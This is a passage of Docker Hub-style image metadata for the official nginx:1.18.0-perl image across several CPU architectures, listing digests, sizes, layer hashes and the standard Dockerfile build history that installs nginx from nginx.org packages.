- Docker Version: 18.09.7
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **64.4 MB (64366168 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:1360cfa6fb026dc2d61e45a3ede8d3603ed5bcc73bbaf862abe3e21d8eb7a10c`
- Entrypoint: `["\/docker-entrypoint.sh"]`
- Default Command: `["nginx","-g","daemon off;"]`
```dockerfile
# Thu, 10 Sep 2020 00:23:29 GMT
ADD file:e7407f2294ad23634565820b9669b18ff2a2ca0212a7ec84b9c89d8550859954 in /
# Thu, 10 Sep 2020 00:23:30 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 12:32:46 GMT
LABEL maintainer=NGINX Docker Maintainers <[email protected]>
# Thu, 10 Sep 2020 12:33:53 GMT
ENV NGINX_VERSION=1.18.0
# Thu, 10 Sep 2020 12:33:53 GMT
ENV NJS_VERSION=0.4.2
# Thu, 10 Sep 2020 12:33:53 GMT
ENV PKG_RELEASE=1~buster
# Thu, 10 Sep 2020 12:34:46 GMT
RUN set -x && addgroup --system --gid 101 nginx && adduser --system --disabled-login --ingroup nginx --no-create-home --home /nonexistent --gecos "nginx user" --shell /bin/false --uid 101 nginx && apt-get update && apt-get install --no-install-recommends --no-install-suggests -y gnupg1 ca-certificates && NGINX_GPGKEY=573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62; found=''; for server in ha.pool.sks-keyservers.net hkp://keyserver.ubuntu.com:80 hkp://p80.pool.sks-keyservers.net:80 pgp.mit.edu ; do echo "Fetching GPG key $NGINX_GPGKEY from $server"; apt-key adv --keyserver "$server" --keyserver-options timeout=10 --recv-keys "$NGINX_GPGKEY" && found=yes && break; done; test -z "$found" && echo >&2 "error: failed to fetch GPG key $NGINX_GPGKEY" && exit 1; apt-get remove --purge --auto-remove -y gnupg1 && rm -rf /var/lib/apt/lists/* && dpkgArch="$(dpkg --print-architecture)" && nginxPackages=" nginx=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-xslt=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-geoip=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-image-filter=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-perl=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-${PKG_RELEASE} " && case "$dpkgArch" in amd64|i386) echo "deb https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && apt-get update ;; *) echo "deb-src https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && tempDir="$(mktemp -d)" && chmod 777 "$tempDir" && savedAptMark="$(apt-mark showmanual)" && apt-get update && apt-get build-dep -y $nginxPackages && ( cd "$tempDir" && DEB_BUILD_OPTIONS="nocheck parallel=$(nproc)" apt-get source --compile $nginxPackages ) && apt-mark showmanual | xargs apt-mark auto > /dev/null && { [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; } && ls -lAFh "$tempDir" && ( cd "$tempDir" && dpkg-scanpackages . > Packages ) && grep '^Package: ' "$tempDir/Packages" && echo "deb [ trusted=yes ] file://$tempDir ./" > /etc/apt/sources.list.d/temp.list && apt-get -o Acquire::GzipIndexes=false update ;; esac && apt-get install --no-install-recommends --no-install-suggests -y $nginxPackages gettext-base curl && apt-get remove --purge --auto-remove -y && rm -rf /var/lib/apt/lists/* /etc/apt/sources.list.d/nginx.list && if [ -n "$tempDir" ]; then apt-get purge -y --auto-remove && rm -rf "$tempDir" /etc/apt/sources.list.d/temp.list; fi && ln -sf /dev/stdout /var/log/nginx/access.log && ln -sf /dev/stderr /var/log/nginx/error.log && mkdir /docker-entrypoint.d
# Thu, 10 Sep 2020 12:34:46 GMT
COPY file:e7e183879c35719c18aa7f733651029fbcc55f5d8c22a877ae199b389425789e in /
# Thu, 10 Sep 2020 12:34:46 GMT
COPY file:1d0a4127e78a26c11640bbedaeaa28ecafb5c40effef923390c04428192d665a in /docker-entrypoint.d
# Thu, 10 Sep 2020 12:34:47 GMT
COPY file:0fd5fca330dcd6a7de297435e32af634f29f7132ed0550d342cad9fd20158258 in /docker-entrypoint.d
# Thu, 10 Sep 2020 12:34:47 GMT
ENTRYPOINT ["/docker-entrypoint.sh"]
# Thu, 10 Sep 2020 12:34:47 GMT
EXPOSE 80
# Thu, 10 Sep 2020 12:34:47 GMT
STOPSIGNAL SIGTERM
# Thu, 10 Sep 2020 12:34:47 GMT
CMD ["nginx" "-g" "daemon off;"]
```
- Layers:
- `sha256:d121f8d1c4128ebc1e95e5bfad90a0189b84eadbbb2fbaad20cbb26d20b2c8a2`
Last Modified: Thu, 10 Sep 2020 00:34:02 GMT
Size: 27.1 MB (27092161 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:cc285c9f12d3f3ed54246d360af4652ecbdd15864e8e5e30b3c9a50f761d0949`
Last Modified: Thu, 10 Sep 2020 12:36:22 GMT
Size: 37.3 MB (37271842 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ab42ebb404d4136369b15ddd3697d6eaa62f619ce8afa47e5bafe2b3f238c5bd`
Last Modified: Thu, 10 Sep 2020 12:36:11 GMT
Size: 600.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:98015471ef68b923e4fa85da1468bd62e1e5dcff09f16c2e0a39742049f105cd`
Last Modified: Thu, 10 Sep 2020 12:36:11 GMT
Size: 899.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:0498dd594cf3852c8ccc502ae26a446cc9f2003dbff45fc5a7be77293479b340`
Last Modified: Thu, 10 Sep 2020 12:36:12 GMT
Size: 666.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `nginx:1.18.0-perl` - linux; arm variant v5
```console
$ docker pull nginx@sha256:bcf89cadcb54dcde29f2dee840f0321a4d00e5dab5b05bb79ecd4946880721ec
```
- Docker Version: 19.03.12
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **60.3 MB (60327932 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:c1b92e2f221e0693f8c54103c7b3b60084d75bbd3551a214270ec63b28872fe4`
- Entrypoint: `["\/docker-entrypoint.sh"]`
- Default Command: `["nginx","-g","daemon off;"]`
```dockerfile
# Wed, 09 Sep 2020 23:53:49 GMT
ADD file:34835d84d87e3ee1178aa150793d75a4d4a7a28c013ca3495dbcca2b570270bf in /
# Wed, 09 Sep 2020 23:53:53 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 01:47:04 GMT
LABEL maintainer=NGINX Docker Maintainers <[email protected]>
# Thu, 10 Sep 2020 02:02:47 GMT
ENV NGINX_VERSION=1.18.0
# Thu, 10 Sep 2020 02:02:48 GMT
ENV NJS_VERSION=0.4.2
# Thu, 10 Sep 2020 02:02:50 GMT
ENV PKG_RELEASE=1~buster
# Thu, 10 Sep 2020 02:17:09 GMT
RUN set -x && addgroup --system --gid 101 nginx && adduser --system --disabled-login --ingroup nginx --no-create-home --home /nonexistent --gecos "nginx user" --shell /bin/false --uid 101 nginx && apt-get update && apt-get install --no-install-recommends --no-install-suggests -y gnupg1 ca-certificates && NGINX_GPGKEY=573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62; found=''; for server in ha.pool.sks-keyservers.net hkp://keyserver.ubuntu.com:80 hkp://p80.pool.sks-keyservers.net:80 pgp.mit.edu ; do echo "Fetching GPG key $NGINX_GPGKEY from $server"; apt-key adv --keyserver "$server" --keyserver-options timeout=10 --recv-keys "$NGINX_GPGKEY" && found=yes && break; done; test -z "$found" && echo >&2 "error: failed to fetch GPG key $NGINX_GPGKEY" && exit 1; apt-get remove --purge --auto-remove -y gnupg1 && rm -rf /var/lib/apt/lists/* && dpkgArch="$(dpkg --print-architecture)" && nginxPackages=" nginx=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-xslt=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-geoip=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-image-filter=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-perl=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-${PKG_RELEASE} " && case "$dpkgArch" in amd64|i386) echo "deb https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && apt-get update ;; *) echo "deb-src https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && tempDir="$(mktemp -d)" && chmod 777 "$tempDir" && savedAptMark="$(apt-mark showmanual)" && apt-get update && apt-get build-dep -y $nginxPackages && ( cd "$tempDir" && DEB_BUILD_OPTIONS="nocheck parallel=$(nproc)" apt-get source --compile $nginxPackages ) && apt-mark showmanual | xargs apt-mark auto > /dev/null && { [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; } && ls -lAFh "$tempDir" && ( cd "$tempDir" && dpkg-scanpackages . > Packages ) && grep '^Package: ' "$tempDir/Packages" && echo "deb [ trusted=yes ] file://$tempDir ./" > /etc/apt/sources.list.d/temp.list && apt-get -o Acquire::GzipIndexes=false update ;; esac && apt-get install --no-install-recommends --no-install-suggests -y $nginxPackages gettext-base curl && apt-get remove --purge --auto-remove -y && rm -rf /var/lib/apt/lists/* /etc/apt/sources.list.d/nginx.list && if [ -n "$tempDir" ]; then apt-get purge -y --auto-remove && rm -rf "$tempDir" /etc/apt/sources.list.d/temp.list; fi && ln -sf /dev/stdout /var/log/nginx/access.log && ln -sf /dev/stderr /var/log/nginx/error.log && mkdir /docker-entrypoint.d
# Thu, 10 Sep 2020 02:17:12 GMT
COPY file:e7e183879c35719c18aa7f733651029fbcc55f5d8c22a877ae199b389425789e in /
# Thu, 10 Sep 2020 02:17:13 GMT
COPY file:1d0a4127e78a26c11640bbedaeaa28ecafb5c40effef923390c04428192d665a in /docker-entrypoint.d
# Thu, 10 Sep 2020 02:17:14 GMT
COPY file:0fd5fca330dcd6a7de297435e32af634f29f7132ed0550d342cad9fd20158258 in /docker-entrypoint.d
# Thu, 10 Sep 2020 02:17:15 GMT
ENTRYPOINT ["/docker-entrypoint.sh"]
# Thu, 10 Sep 2020 02:17:17 GMT
EXPOSE 80
# Thu, 10 Sep 2020 02:17:19 GMT
STOPSIGNAL SIGTERM
# Thu, 10 Sep 2020 02:17:21 GMT
CMD ["nginx" "-g" "daemon off;"]
```
- Layers:
- `sha256:0a51b5143468e1b44dafa16fea3541e28e369071f6837337ee95e37f0ad81d99`
Last Modified: Thu, 10 Sep 2020 00:02:48 GMT
Size: 24.8 MB (24835974 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:df7b97955f09ffc901d9884ef4a58f38ee1afbeb814113c17d82ab3551dd2605`
Last Modified: Thu, 10 Sep 2020 02:18:58 GMT
Size: 35.5 MB (35489790 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:2c3e687a4b9a81ad113f01faa3df04eed8e123eff9d35fa45b62ec2f083c5870`
Last Modified: Thu, 10 Sep 2020 02:18:47 GMT
Size: 600.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:436ddf7838da37734962861e8d1b93bfb88dafd0c8d9ded6b2839f77fec0777b`
Last Modified: Thu, 10 Sep 2020 02:18:47 GMT
Size: 900.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:2ea016a43b2586ea19e839b3bfcae7ff95486827e8cb4e079df36c5680423be1`
Last Modified: Thu, 10 Sep 2020 02:18:47 GMT
Size: 668.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `nginx:1.18.0-perl` - linux; arm variant v7
```console
$ docker pull nginx@sha256:59bdcdca6a76d3d295340f6189d65438cf5bdf767b893d1dba2fe76d0684e8b1
```
- Docker Version: 19.03.12
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **57.1 MB (57112183 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:0881d773f940c7cf983701d3e6e5d56fea06e1fa3de09c4db3415e9ca98faa62`
- Entrypoint: `["\/docker-entrypoint.sh"]`
- Default Command: `["nginx","-g","daemon off;"]`
```dockerfile
# Thu, 10 Sep 2020 00:08:04 GMT
ADD file:5ec0d2c3043ae64cb72698b0f6fe7387884f4195df962466215ce534d2208327 in /
# Thu, 10 Sep 2020 00:08:06 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 03:10:16 GMT
LABEL maintainer=NGINX Docker Maintainers <[email protected]>
# Thu, 10 Sep 2020 03:25:33 GMT
ENV NGINX_VERSION=1.18.0
# Thu, 10 Sep 2020 03:25:35 GMT
ENV NJS_VERSION=0.4.2
# Thu, 10 Sep 2020 03:25:39 GMT
ENV PKG_RELEASE=1~buster
# Thu, 10 Sep 2020 03:40:24 GMT
RUN set -x && addgroup --system --gid 101 nginx && adduser --system --disabled-login --ingroup nginx --no-create-home --home /nonexistent --gecos "nginx user" --shell /bin/false --uid 101 nginx && apt-get update && apt-get install --no-install-recommends --no-install-suggests -y gnupg1 ca-certificates && NGINX_GPGKEY=573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62; found=''; for server in ha.pool.sks-keyservers.net hkp://keyserver.ubuntu.com:80 hkp://p80.pool.sks-keyservers.net:80 pgp.mit.edu ; do echo "Fetching GPG key $NGINX_GPGKEY from $server"; apt-key adv --keyserver "$server" --keyserver-options timeout=10 --recv-keys "$NGINX_GPGKEY" && found=yes && break; done; test -z "$found" && echo >&2 "error: failed to fetch GPG key $NGINX_GPGKEY" && exit 1; apt-get remove --purge --auto-remove -y gnupg1 && rm -rf /var/lib/apt/lists/* && dpkgArch="$(dpkg --print-architecture)" && nginxPackages=" nginx=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-xslt=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-geoip=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-image-filter=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-perl=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-${PKG_RELEASE} " && case "$dpkgArch" in amd64|i386) echo "deb https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && apt-get update ;; *) echo "deb-src https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && tempDir="$(mktemp -d)" && chmod 777 "$tempDir" && savedAptMark="$(apt-mark showmanual)" && apt-get update && apt-get build-dep -y $nginxPackages && ( cd "$tempDir" && DEB_BUILD_OPTIONS="nocheck parallel=$(nproc)" apt-get source --compile $nginxPackages ) && apt-mark showmanual | xargs apt-mark auto > /dev/null && { [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; } && ls -lAFh "$tempDir" && ( cd "$tempDir" && dpkg-scanpackages . > Packages ) && grep '^Package: ' "$tempDir/Packages" && echo "deb [ trusted=yes ] file://$tempDir ./" > /etc/apt/sources.list.d/temp.list && apt-get -o Acquire::GzipIndexes=false update ;; esac && apt-get install --no-install-recommends --no-install-suggests -y $nginxPackages gettext-base curl && apt-get remove --purge --auto-remove -y && rm -rf /var/lib/apt/lists/* /etc/apt/sources.list.d/nginx.list && if [ -n "$tempDir" ]; then apt-get purge -y --auto-remove && rm -rf "$tempDir" /etc/apt/sources.list.d/temp.list; fi && ln -sf /dev/stdout /var/log/nginx/access.log && ln -sf /dev/stderr /var/log/nginx/error.log && mkdir /docker-entrypoint.d
# Thu, 10 Sep 2020 03:40:27 GMT
COPY file:e7e183879c35719c18aa7f733651029fbcc55f5d8c22a877ae199b389425789e in /
# Thu, 10 Sep 2020 03:40:30 GMT
COPY file:1d0a4127e78a26c11640bbedaeaa28ecafb5c40effef923390c04428192d665a in /docker-entrypoint.d
# Thu, 10 Sep 2020 03:40:38 GMT
COPY file:0fd5fca330dcd6a7de297435e32af634f29f7132ed0550d342cad9fd20158258 in /docker-entrypoint.d
# Thu, 10 Sep 2020 03:40:42 GMT
ENTRYPOINT ["/docker-entrypoint.sh"]
# Thu, 10 Sep 2020 03:40:47 GMT
EXPOSE 80
# Thu, 10 Sep 2020 03:40:54 GMT
STOPSIGNAL SIGTERM
# Thu, 10 Sep 2020 03:41:01 GMT
CMD ["nginx" "-g" "daemon off;"]
```
- Layers:
- `sha256:a7c65856610cb24c46ede2ffe313cbf933c44fa20ba213835af953646f3eb1ed`
Last Modified: Thu, 10 Sep 2020 00:17:52 GMT
Size: 22.7 MB (22699896 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:2ce5f0538b1894d458924e8dd621bcd6dd9febc4dd0de7e151cd5ded9247f749`
Last Modified: Thu, 10 Sep 2020 03:43:04 GMT
Size: 34.4 MB (34410117 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:6f5f3cafbf085ef489c8506c717bf9e376b18c332103a5586c8367f622409881`
Last Modified: Thu, 10 Sep 2020 03:42:53 GMT
Size: 600.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:1cdf5d54f24d6fc9ad19297aaf66d31a1d286f2e1f32bd6558c955e8c0c68a73`
Last Modified: Thu, 10 Sep 2020 03:42:53 GMT
Size: 901.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:63315e8436789468cef1f8491556798da3ca3619ac9fa8e436999984ee605f80`
Last Modified: Thu, 10 Sep 2020 03:42:53 GMT
Size: 669.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `nginx:1.18.0-perl` - linux; arm64 variant v8
```console
$ docker pull nginx@sha256:c6e5420e8a9ad4af82a2768f1cd8f7fd85da306eb92db24e9299207550a891d6
```
- Docker Version: 18.09.7
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **63.0 MB (63026593 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:ccfb69129bbae2c02ec531676d36503d0cac5a6f19c0342fe6e3a4ed1f0404b7`
- Entrypoint: `["\/docker-entrypoint.sh"]`
- Default Command: `["nginx","-g","daemon off;"]`
```dockerfile
# Wed, 09 Sep 2020 23:50:54 GMT
ADD file:d870fb0484ea283840d9cc923c9c3fe36d1bb6b3b5ecfefcce06aa26a22c9414 in /
# Wed, 09 Sep 2020 23:50:57 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 03:21:00 GMT
LABEL maintainer=NGINX Docker Maintainers <[email protected]>
# Thu, 10 Sep 2020 03:36:14 GMT
ENV NGINX_VERSION=1.18.0
# Thu, 10 Sep 2020 03:36:16 GMT
ENV NJS_VERSION=0.4.2
# Thu, 10 Sep 2020 03:36:22 GMT
ENV PKG_RELEASE=1~buster
# Thu, 10 Sep 2020 03:49:23 GMT
RUN set -x && addgroup --system --gid 101 nginx && adduser --system --disabled-login --ingroup nginx --no-create-home --home /nonexistent --gecos "nginx user" --shell /bin/false --uid 101 nginx && apt-get update && apt-get install --no-install-recommends --no-install-suggests -y gnupg1 ca-certificates && NGINX_GPGKEY=573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62; found=''; for server in ha.pool.sks-keyservers.net hkp://keyserver.ubuntu.com:80 hkp://p80.pool.sks-keyservers.net:80 pgp.mit.edu ; do echo "Fetching GPG key $NGINX_GPGKEY from $server"; apt-key adv --keyserver "$server" --keyserver-options timeout=10 --recv-keys "$NGINX_GPGKEY" && found=yes && break; done; test -z "$found" && echo >&2 "error: failed to fetch GPG key $NGINX_GPGKEY" && exit 1; apt-get remove --purge --auto-remove -y gnupg1 && rm -rf /var/lib/apt/lists/* && dpkgArch="$(dpkg --print-architecture)" && nginxPackages=" nginx=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-xslt=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-geoip=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-image-filter=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-perl=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-${PKG_RELEASE} " && case "$dpkgArch" in amd64|i386) echo "deb https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && apt-get update ;; *) echo "deb-src https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && tempDir="$(mktemp -d)" && chmod 777 "$tempDir" && savedAptMark="$(apt-mark showmanual)" && apt-get update && apt-get build-dep -y $nginxPackages && ( cd "$tempDir" && DEB_BUILD_OPTIONS="nocheck parallel=$(nproc)" apt-get source --compile $nginxPackages ) && apt-mark showmanual | xargs apt-mark auto > /dev/null && { [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; } && ls -lAFh "$tempDir" && ( cd "$tempDir" && dpkg-scanpackages . > Packages ) && grep '^Package: ' "$tempDir/Packages" && echo "deb [ trusted=yes ] file://$tempDir ./" > /etc/apt/sources.list.d/temp.list && apt-get -o Acquire::GzipIndexes=false update ;; esac && apt-get install --no-install-recommends --no-install-suggests -y $nginxPackages gettext-base curl && apt-get remove --purge --auto-remove -y && rm -rf /var/lib/apt/lists/* /etc/apt/sources.list.d/nginx.list && if [ -n "$tempDir" ]; then apt-get purge -y --auto-remove && rm -rf "$tempDir" /etc/apt/sources.list.d/temp.list; fi && ln -sf /dev/stdout /var/log/nginx/access.log && ln -sf /dev/stderr /var/log/nginx/error.log && mkdir /docker-entrypoint.d
# Thu, 10 Sep 2020 03:49:25 GMT
COPY file:e7e183879c35719c18aa7f733651029fbcc55f5d8c22a877ae199b389425789e in /
# Thu, 10 Sep 2020 03:49:27 GMT
COPY file:1d0a4127e78a26c11640bbedaeaa28ecafb5c40effef923390c04428192d665a in /docker-entrypoint.d
# Thu, 10 Sep 2020 03:49:28 GMT
COPY file:0fd5fca330dcd6a7de297435e32af634f29f7132ed0550d342cad9fd20158258 in /docker-entrypoint.d
# Thu, 10 Sep 2020 03:49:32 GMT
ENTRYPOINT ["/docker-entrypoint.sh"]
# Thu, 10 Sep 2020 03:49:44 GMT
EXPOSE 80
# Thu, 10 Sep 2020 03:49:49 GMT
STOPSIGNAL SIGTERM
# Thu, 10 Sep 2020 03:49:50 GMT
CMD ["nginx" "-g" "daemon off;"]
```
- Layers:
- `sha256:a6d76de28f58f3470aff71c934c0fec4e5d0fad788f8b8bcc50601266fc1b34d`
Last Modified: Wed, 09 Sep 2020 23:59:09 GMT
Size: 25.8 MB (25849325 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:f42ca24a5d8c47057f6afa6d14170133493063f94848105b19017c92b81525db`
Last Modified: Thu, 10 Sep 2020 03:51:46 GMT
Size: 37.2 MB (37175101 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:a64c62aa14bbbe1b810706f4ad02c622da46d9febe6ded5c7e0a08dc2931fb79`
Last Modified: Thu, 10 Sep 2020 03:51:34 GMT
Size: 600.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:8ad30a86d2d3f8b831ae7db9d9ba09d798e90557b409387d7529e3e2a736ae95`
Last Modified: Thu, 10 Sep 2020 03:51:34 GMT
Size: 900.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:1b9f1dc2275ba4e6527b567527dad5a3fc1889e661f82e094ca0958a580f3031`
Last Modified: Thu, 10 Sep 2020 03:51:34 GMT
Size: 667.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `nginx:1.18.0-perl` - linux; 386
```console
$ docker pull nginx@sha256:d36fabedcc5324f2300e3ec15e7f2d6c588785699f590f01b21c230ddfe854b8
```
- Docker Version: 19.03.12
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **65.3 MB (65348565 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:9675f4f612e688b33c9d2005ba79b3b494bd041e3f5e4dc478870755122a038e`
- Entrypoint: `["\/docker-entrypoint.sh"]`
- Default Command: `["nginx","-g","daemon off;"]`
```dockerfile
# Wed, 09 Sep 2020 23:40:19 GMT
ADD file:08dc20c9cd727ebf02cac6e4b287c3009274682174aee9222494491cd6c671b8 in /
# Wed, 09 Sep 2020 23:40:19 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 11:45:16 GMT
LABEL maintainer=NGINX Docker Maintainers <[email protected]>
# Thu, 10 Sep 2020 11:46:52 GMT
ENV NGINX_VERSION=1.18.0
# Thu, 10 Sep 2020 11:46:52 GMT
ENV NJS_VERSION=0.4.2
# Thu, 10 Sep 2020 11:46:52 GMT
ENV PKG_RELEASE=1~buster
# Thu, 10 Sep 2020 11:48:09 GMT
RUN set -x && addgroup --system --gid 101 nginx && adduser --system --disabled-login --ingroup nginx --no-create-home --home /nonexistent --gecos "nginx user" --shell /bin/false --uid 101 nginx && apt-get update && apt-get install --no-install-recommends --no-install-suggests -y gnupg1 ca-certificates && NGINX_GPGKEY=573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62; found=''; for server in ha.pool.sks-keyservers.net hkp://keyserver.ubuntu.com:80 hkp://p80.pool.sks-keyservers.net:80 pgp.mit.edu ; do echo "Fetching GPG key $NGINX_GPGKEY from $server"; apt-key adv --keyserver "$server" --keyserver-options timeout=10 --recv-keys "$NGINX_GPGKEY" && found=yes && break; done; test -z "$found" && echo >&2 "error: failed to fetch GPG key $NGINX_GPGKEY" && exit 1; apt-get remove --purge --auto-remove -y gnupg1 && rm -rf /var/lib/apt/lists/* && dpkgArch="$(dpkg --print-architecture)" && nginxPackages=" nginx=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-xslt=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-geoip=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-image-filter=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-perl=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-${PKG_RELEASE} " && case "$dpkgArch" in amd64|i386) echo "deb https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && apt-get update ;; *) echo "deb-src https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && tempDir="$(mktemp -d)" && chmod 777 "$tempDir" && savedAptMark="$(apt-mark showmanual)" && apt-get update && apt-get build-dep -y $nginxPackages && ( cd "$tempDir" && DEB_BUILD_OPTIONS="nocheck parallel=$(nproc)" apt-get source --compile $nginxPackages ) && apt-mark showmanual | xargs apt-mark auto > /dev/null && { [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; } && ls -lAFh "$tempDir" && ( cd "$tempDir" && dpkg-scanpackages . > Packages ) && grep '^Package: ' "$tempDir/Packages" && echo "deb [ trusted=yes ] file://$tempDir ./" > /etc/apt/sources.list.d/temp.list && apt-get -o Acquire::GzipIndexes=false update ;; esac && apt-get install --no-install-recommends --no-install-suggests -y $nginxPackages gettext-base curl && apt-get remove --purge --auto-remove -y && rm -rf /var/lib/apt/lists/* /etc/apt/sources.list.d/nginx.list && if [ -n "$tempDir" ]; then apt-get purge -y --auto-remove && rm -rf "$tempDir" /etc/apt/sources.list.d/temp.list; fi && ln -sf /dev/stdout /var/log/nginx/access.log && ln -sf /dev/stderr /var/log/nginx/error.log && mkdir /docker-entrypoint.d
# Thu, 10 Sep 2020 11:48:10 GMT
COPY file:e7e183879c35719c18aa7f733651029fbcc55f5d8c22a877ae199b389425789e in /
# Thu, 10 Sep 2020 11:48:10 GMT
COPY file:1d0a4127e78a26c11640bbedaeaa28ecafb5c40effef923390c04428192d665a in /docker-entrypoint.d
# Thu, 10 Sep 2020 11:48:11 GMT
COPY file:0fd5fca330dcd6a7de297435e32af634f29f7132ed0550d342cad9fd20158258 in /docker-entrypoint.d
# Thu, 10 Sep 2020 11:48:11 GMT
ENTRYPOINT ["/docker-entrypoint.sh"]
# Thu, 10 Sep 2020 11:48:11 GMT
EXPOSE 80
# Thu, 10 Sep 2020 11:48:12 GMT
STOPSIGNAL SIGTERM
# Thu, 10 Sep 2020 11:48:12 GMT
CMD ["nginx" "-g" "daemon off;"]
```
- Layers:
- `sha256:31e6582dbd9f9a84903d46339df0c393a63d2cbfb001b06b3204653cceafcc61`
Last Modified: Wed, 09 Sep 2020 23:46:30 GMT
Size: 27.8 MB (27750334 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:37b36469c881d40ef401e72099e26cd3e3aa331d9ce325dead52c609c0bf17e9`
Last Modified: Thu, 10 Sep 2020 11:49:55 GMT
Size: 37.6 MB (37596064 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:39ad5af07a77d0dff7b186ee199e34a6c301e420e8990e3e237fd3206489b57a`
Last Modified: Thu, 10 Sep 2020 11:49:44 GMT
Size: 602.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:b2dc113916afcaf5baa06b0cc455da9d5ec78bf52b15f9bcf9221ccc8198921a`
Last Modified: Thu, 10 Sep 2020 11:49:45 GMT
Size: 899.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:5d4343b8e67018f850ad289ca85875cba1f2fcb5e6acf60901c75656373a47ae`
Last Modified: Thu, 10 Sep 2020 11:49:45 GMT
Size: 666.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `nginx:1.18.0-perl` - linux; mips64le
```console
$ docker pull nginx@sha256:8af9938e3a7afbabb6845864f305b84cdabd0f55c71ab6664d2b5385d77cb0fd
```
- Docker Version: 19.03.12
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
